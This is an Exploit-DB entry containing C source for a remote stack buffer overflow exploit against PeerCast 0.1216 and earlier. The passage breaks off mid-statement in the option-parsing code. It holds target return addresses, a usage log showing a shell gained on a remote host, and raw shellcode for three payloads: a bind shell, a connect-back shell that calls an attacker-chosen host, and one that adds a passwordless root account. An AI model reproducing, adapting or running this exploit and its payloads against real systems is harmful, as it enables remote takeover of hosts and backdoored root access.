Exploit-DB #1574
Description: PeerCast 0.1216 - 'nextCGIarg' Remote Buffer Overflow (1)
Type: remote
Platform: linux
Date: 2006-03-11
Author: prdelka

Exploit:
/* GNU PeerCast <= v0.1216 Remote Exploit
 * ======================================
 * PeerCast is a simple, free way to listen to radio and watch video on the internet. A 
 * remotely exploitable buffer overflow has been identified by INFIGO-2006-03-01 which 
 * can be potentially exploited to execute arbitrary code due to insufficient bounds
 * checking on a memory copy operation occuring on the stack. All versions upto and
 * prior to v0.1216 are believed to be vulnerable. Return address does a "jmp esp" which
 * references the start of our shellcode and as such will work on multiple distributions
 * and VA randomized hosts.
 * 
 * Example.
 * matthew@localhost ~/code/exploits $ ./prdelka-vs-GNU-peercast -s 123.123.123.123 -c 0 -t 1 -x 31337
 * [ GNU PeerCast <= v0.1216 remote exploit
 * [ Using shellcode 'Linux bind() shellcode (4444/tcp default)' (84 bytes)
 * [ Using target '(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo 3.3.5.20050130-r1)'
 * [ Connected to 123.123.123.123 (7144/tcp)
 * [ Sent 883 bytes to target
 * matthew@localhost ~/code/exploits $ nc 123.123[PII_REDACTED]7
 * id
 * uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
 * 
 *  -prdelka
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <getopt.h>
#include <signal.h>

struct target {
	char* name; 
	int retaddr;	
};

struct shellcode {
	char* name;	
	int port;
	int host;
	char* shellcode;	
};

const int targetno = 2;

struct target targets[] = { 
	{"(GNU peercast v0.1212) 2.4.28-gentoo-r8 (Gentoo Linux 3.3.5-r1)",0x080918AF},
	{"(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo 3.3.5.20050130-r1)",0x080918AF}
};

const int shellno = 3;

struct shellcode shellcodes[] = {
	{"Linux bind() shellcode (4444/tcp default)",20,-1,
	"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
	"\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
	"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
	"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
	"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
	"\x89\xe1\xcd\x80"},
	{"Linux connect() shellcode (4444/tcp default)",32,26,
	"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
	"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x01\x02\x03\x04\x66\x68"
	"\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
	"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
	"\x89\xe1\xb0\x0b\xcd\x80"},
	{"Linux add user 'syscfg' with {null} password and UID 0",-1,-1,
	"\x31\xC0\x50\x68\x73\x73\x77\x64\x68\x2F\x2F\x70\x61\x68\x2F\x65"
	"\x74\x63\x89\xE6\x31\xD2\x31\xC9\xB1\x01\x89\xF3\x31\xC0\xB0\x05"
	"\xCD\x80\x50\x89\xE6\x31\xC0\xB0\x13\x8B\x1E\x31\xC9\x31\xD2\xB2"
	"\x02\xCD\x80\x31\xC0\xB0\x04\x8B\x1E\x31\xC9\x51\x68\x61\x73\x68"
	"\x0A\x68\x69\x6E\x2F\x62\x68\x74\x3A\x2F\x62\x68\x2F\x72\x6F\x6F"
	"\x68\x63\x66\x67\x3A\x68\x66\x6F\x72\x20\x68\x73\x65\x72\x20\x68"
	"\x65\x6D\x20\x75\x68\x73\x79\x73\x74\x68\x30\x3A\x30\x3A\x68\x66"
	"\x67\x3A\x3A\x68\x73\x79\x73\x63\x89\xE1\x31\xD2\xB2\x30\xCD\x80"
	"\x31\xC0\xB0\x06\x8B\x1E\xCD\x80"}
};

void dummyhandler(){
}

int main (int argc, char *argv[]) {
	int sd, rc, i, c, ret, payg, paya, payb, eip, ishell = 0, port = 7144, ihost = 0, itarg = 0;
	int count, offset, ioffset, index = 0;
	short shellport;
	char *host, *buffer, *buffer2, *payload;
	struct sockaddr_in localAddr, servAddr;
	struct hostent *h, *rv;
        static struct option options[] = {
        	{"server", 1, 0, 's'},
	        {"port", 1, 0, 'p'},
        	{"target", 1, 0, 't'},
		{"shellcode", 1, 0, 'c'},
		{"shellport", 1, 0, 'x'},
		{"shellhost", 1, 0, 'i'},
		{"help", 0, 0,'h'}
        };
	printf("[ GNU PeerCast <= v0.1216 remote exploit\n");
	while(c != -1)
	{
	        c = getopt_long(argc,argv,"s:p:t:c:x:i:h",options,&index);	
        	switch(c) {
               		case -1:
	                        break;
        	        case 's':
				if(ihost==0){
				h = gethostbyname(optarg);				
				if(h==NULL){
					printf("[ Error unknown host '%s'\n",optarg);
					exit(1);
				}
				host = malloc(strlen(optarg) + 1);
				sprintf(host,"%s",optarg);
				ihost = 1;
				}
               			break;
	                case 'p':
				port = atoi(optarg);
                	        break;
			case 'c':
				if(ishell==0)
				{
				payg = atoi(optarg);
				switch(payg){
				case 0:		
					printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));		
					payload = malloc(strlen(shellcodes[payg].shellcode)+1);
					memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
					memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
					ishell = 1;
					break;
				case 1:
                                       printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));
                                       payload = malloc(strlen(shellcodes[payg].shellcode)+1);
	                               memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
	                               memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
	                               ishell = 1;
	                               break;
                                case 2:
                                       printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));
                                       payload = malloc(strlen(shellcodes[payg].shellcode)+1);
                                       memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
        	                       memcpy((void*)payload,(void*)shellcodes[payg].shellcode